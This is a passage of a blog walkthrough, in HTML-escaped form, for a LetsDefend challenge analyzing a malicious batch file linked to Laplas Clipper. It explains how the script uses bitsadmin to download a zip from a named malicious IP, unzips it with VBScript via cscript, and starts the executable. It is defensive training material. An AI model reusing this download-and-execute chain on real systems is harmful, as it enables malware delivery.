            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/4235f4abca0b0ec0698c3b75f0db4f78_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Batch Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-batch-challenge-walkthrough&#34;&gt;LetsDefend— Batch Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-batch-script-with-notepad--microsoft-learn&#34;&gt;Investigating a Malicious Batch Script with Notepad++ &amp;amp; Microsoft Learn&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/4235f4abca0b0ec0698c3b75f0db4f78_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/batch-downloader&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever wanted to analyze a &lt;em&gt;batch file&lt;/em&gt; to determine if it malicious or safe? If this topic sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough. This week, we&amp;rsquo;re tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Batch Downloader&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; This challenge has us security analysts dissecting the content of a malicious &lt;em&gt;batch file&lt;/em&gt; (&lt;em&gt;.bat&lt;/em&gt;) to better understand what it does.&lt;/p&gt;&#xA;&lt;p&gt;To perform the investigation, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Notepad++&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a powerful text editor_,_ to examine the file_._ We&amp;rsquo;ll also leverage &lt;em&gt;Microsoft Learn&lt;/em&gt; documentation to cross-reference our findings, giving us valuable background and context to fully understand the script&amp;rsquo;s behavior. Sounds like a fun time, right? Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/batch-downloader&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A malicious batch file has been discovered that downloads and executes files associated with the Laplas Clipper malware. Analyze this batch file to understand its behavior and help us investigate its activities.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-command-is-used-to-prevent-the-command-echoing-in-theconsole&#34;&gt;Question 1: What command is used to prevent the command echoing in the console?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off our investigation! Before diving into the challenge file, it&amp;rsquo;s always a smart idea to understand what tools are available to us for analysis. To check what we have, we can open the &lt;em&gt;Tools&lt;/em&gt; folder on the &lt;em&gt;Desktop&lt;/em&gt; of the analysis virtual machine.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;427px&#34; data-flex-grow=&#34;178&#34; height=&#34;449&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/0c51003ca2c36346f8cbc2bb2007ac76_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this challenge we will be analyzing a &lt;em&gt;Batch File (.bat)&lt;/em&gt; which is a type of &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;command shell script&lt;/a&gt; that is used in &lt;em&gt;Windows&lt;/em&gt; environments. As the &lt;em&gt;batch&lt;/em&gt; file can be opened and edited in a plaintext editor, we will be using &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Notepad++&lt;/em&gt;&lt;/a&gt; for the analysis.&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s navigate to the &lt;em&gt;ChallengeFile&lt;/em&gt; folder and extract the &lt;em&gt;1.zip&lt;/em&gt; archive. Inside will be another nested file, go ahead and extract that one too so that we can access the malicious &lt;em&gt;.bat&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/9c43308a0245ec2ea8ae06f37a8854ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s open the batch file with &lt;em&gt;Notepad++&lt;/em&gt; so we can begin analyzing the contents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re looking for the command that prevents echoing to the console. Focusing on &lt;em&gt;Line 1&lt;/em&gt; in the script we&amp;rsquo;ll see the following:&lt;/p&gt;&#xA;&lt;p&gt;@echo off&lt;/p&gt;&#xA;&lt;p&gt;This &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;parameter&lt;/a&gt; prevents all of the commands in the script from being displayed to the console which will obfuscate what the script is doing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/0e560c9e38d1765d4a95464573580993_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-which-tool-is-used-to-download-a-file-from-a-specified-url-in-thescript&#34;&gt;Question 2: Which tool is used to download a file from a specified URL in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, to answer &lt;strong&gt;Question 2,&lt;/strong&gt; we&amp;rsquo;re going to focus on &lt;em&gt;Line 2&lt;/em&gt; of the script.&lt;/p&gt;&#xA;&lt;p&gt;Quickly scanning &lt;em&gt;Line 2&lt;/em&gt;, we see some evidence of download activity including a &lt;em&gt;URL,&lt;/em&gt; so we&amp;rsquo;re looking in the correct spot.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s getting a better idea of what the &lt;strong&gt;&lt;em&gt;bitsadmin&lt;/em&gt;&lt;/strong&gt; command is and how it can be used to perform download jobs. Below is a description of &lt;em&gt;Bitsadmin&lt;/em&gt; from &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Bitsadmin is a command-line tool used to create, download or upload jobs, and to monitor their progress. The bitsadmin tool uses switches to identify the work to perform.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, &lt;em&gt;Bitsadmin&lt;/em&gt; uses these switches with the syntax below to perform transfer jobs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  title=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;bitsadmin transfer&lt;/strong&gt;&#xA;_Reference article for the bitsadmin transfer command, which transfers one or more files._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;bitsadmin /transfer &lt;name&gt; [&lt;type&gt;] [/priority &amp;lt;job_priority&amp;gt;] [/ACLflags &lt;flags&gt;] [/DYNAMIC] &lt;remotefilename&gt; &lt;localfilename&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With this bit of background, we can now confirm that &lt;em&gt;bitsadmin&lt;/em&gt; is the correct tool being used to download the file. Let&amp;rsquo;s check our work and continue the investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/06a09ec3a17306872f5245704634a5a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-priority-set-for-the-download-operation-in-thescript&#34;&gt;Question 3: What is the priority set for the download operation in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continuing dissecting the &lt;em&gt;bitsadmin&lt;/em&gt; command on &lt;em&gt;line 2&lt;/em&gt; and focus on the switches used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Referring to the &lt;em&gt;bitsadmin&lt;/em&gt; syntax from the previous question, we will see a &lt;em&gt;/priority&lt;/em&gt; switch. According to the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn reference&lt;/a&gt;, there are a few options to set the priority of the download job:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;priorityOptional. Sets the priority of the job, including:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;FOREGROUND&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;HIGH&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;NORMAL&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;LOW&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In the case of this script, the job is set to the highest priority, &lt;em&gt;FOREGROUND.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1714px&#34; data-flex-grow=&#34;714&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/7c17a7c9475641bfc15db898a9edb337_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-command-is-used-to-start-localization-of-environment-changes-in-thescript&#34;&gt;Question 4: Which command is used to start localization of environment changes in the script?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to locate a command for localization. Let&amp;rsquo;s take a closer look at &lt;em&gt;line 3 — setlocal.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Going back to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt; for reference, we can confirm that the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;setlocal&lt;/em&gt;&lt;/a&gt; command &amp;quot; # &amp;ldquo;starts localization of environment variables in a batch file.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6083841192167729729a04cb96076b13_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-which-ip-address-is-used-by-malicious-code&#34;&gt;Question 5: Which IP address is used by malicious code?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, locating the answer to &lt;strong&gt;Question 5&lt;/strong&gt; is straight forward — an &lt;em&gt;IP address&lt;/em&gt; is readily visible in &lt;em&gt;line 2.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this is the only &lt;em&gt;IP address&lt;/em&gt; in the batch script, let&amp;rsquo;s gather some additional &lt;em&gt;threat intelligence&lt;/em&gt; by checking it against &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/193.169.255.78/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to see if we can get any hits that it&amp;rsquo;s malicious:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1507px&#34; data-flex-grow=&#34;628&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/927c418a3fd6ea3be08f419e113c54f5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/927c418a3fd6ea3be08f419e113c54f5_MD5_hu_9b3fc90bab3a056f.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/927c418a3fd6ea3be08f419e113c54f5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, we&amp;rsquo;ve got a number of hits that this &lt;em&gt;IP address&lt;/em&gt; is malicious and even some community reports attributing it to the &lt;em&gt;Laplas Clipper&lt;/em&gt; &lt;em&gt;malware&lt;/em&gt; mentioned in the challenge scenario!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/8416113f5948adea4fb4124083118deb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-subroutine-called-to-extract-the-contents-of-the-zipfile&#34;&gt;Question 6: What is the name of the subroutine called to extract the contents of the zip file?&#xA;&lt;/h3&gt;&lt;p&gt;All right, back to analyzing the script. This time, we&amp;rsquo;re going to focus on &lt;em&gt;lines 5 &amp;amp; 10&lt;/em&gt; since we are looking for an &lt;em&gt;unzip&lt;/em&gt; operation to extract the file downloaded from the malicious IP from &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we look at &lt;em&gt;line 5&lt;/em&gt; there is a call to &lt;em&gt;:UnZipFile&lt;/em&gt; and then in &lt;em&gt;line 10,&lt;/em&gt; we&amp;rsquo;ll see the parameters of the &lt;em&gt;subroutine&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Without dissecting each line, we can infer that this is correct &lt;em&gt;subroutine&lt;/em&gt; that extracts the contents of the &lt;em&gt;.zip&lt;/em&gt; file downloaded from the malicious IP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/c3f7892f38468b4fddad872b9214c95e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-which-command-attempts-to-start-an-executable-file-extracted-from-the-zipfile&#34;&gt;Question 7: Which command attempts to start an executable file extracted from the zip file?&#xA;&lt;/h3&gt;&lt;p&gt;Based on what we learned in the previous question, we know that after download, the batch script extracts the contents of the retrieved &lt;em&gt;.zip&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, we need to identify the command which then runs the &lt;em&gt;executable (.exe)&lt;/em&gt; extracted from the archive. Let&amp;rsquo;s point our attention to &lt;em&gt;line 7&lt;/em&gt; with the &lt;em&gt;start&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;Referencing &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt; the &lt;em&gt;start&lt;/em&gt; command &amp;quot; # &amp;ldquo;starts a separate Command Prompt window to run a specified program or command.&amp;ldquo;In our example, the script uses &lt;em&gt;start&lt;/em&gt; to launch the malicious executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have confirmed what &lt;em&gt;start&lt;/em&gt; does, we can copy all of &lt;em&gt;line 7&lt;/em&gt; to answer &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/df261c1cb1c69dcdf2669e69a33d4efe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-which-scripting-language-is-used-to-extract-the-contents-of-the-zipfile&#34;&gt;Question 8: Which scripting language is used to extract the contents of the zip file?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we&amp;rsquo;re going to revisit the &lt;em&gt;UnZipFile subroutine&lt;/em&gt; that we looked at in &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of clues here that point us to the correct answer.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;em&gt;line 11&lt;/em&gt; we see the &lt;em&gt;vbs&lt;/em&gt; variable is setting a path ending with the &lt;em&gt;.vbs&lt;/em&gt; extension.&lt;/li&gt;&#xA;&lt;li&gt;The second clue is the command in &lt;em&gt;line 22, cscript.&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff920171%28v=ws.11%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Cscript&lt;/em&gt;&lt;/a&gt; is a command typically used to run &lt;em&gt;Windows Script&lt;/em&gt; files, like &lt;em&gt;.vbs&lt;/em&gt; files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;But what is a &lt;em&gt;.vbs&lt;/em&gt; file then? It is a file extension for &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/VBScript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VBScript&lt;/strong&gt;&lt;/a&gt;. &lt;em&gt;VBScript&lt;/em&gt; is an older scripting language that is used to automate tasks on &lt;em&gt;Windows&lt;/em&gt; systems.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the malicious script we are analyzing, it is used to extract the contents of the &lt;em&gt;.zip&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/1ec7d1a1d8e0c1fb8a1ea555be280708_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;And there we have it! We&amp;rsquo;ve successfully analyzed the malicious batch file to and dug into the details of how it works. With the help of &lt;em&gt;Notepad++,&lt;/em&gt; we&amp;rsquo;ve identified how the script downloads a second-stage payload, detailed where it downloads from, how it&amp;rsquo;s extracted, and how it is executed.&lt;/p&gt;&#xA;&lt;p&gt;With our objectives completed, let&amp;rsquo;s close out 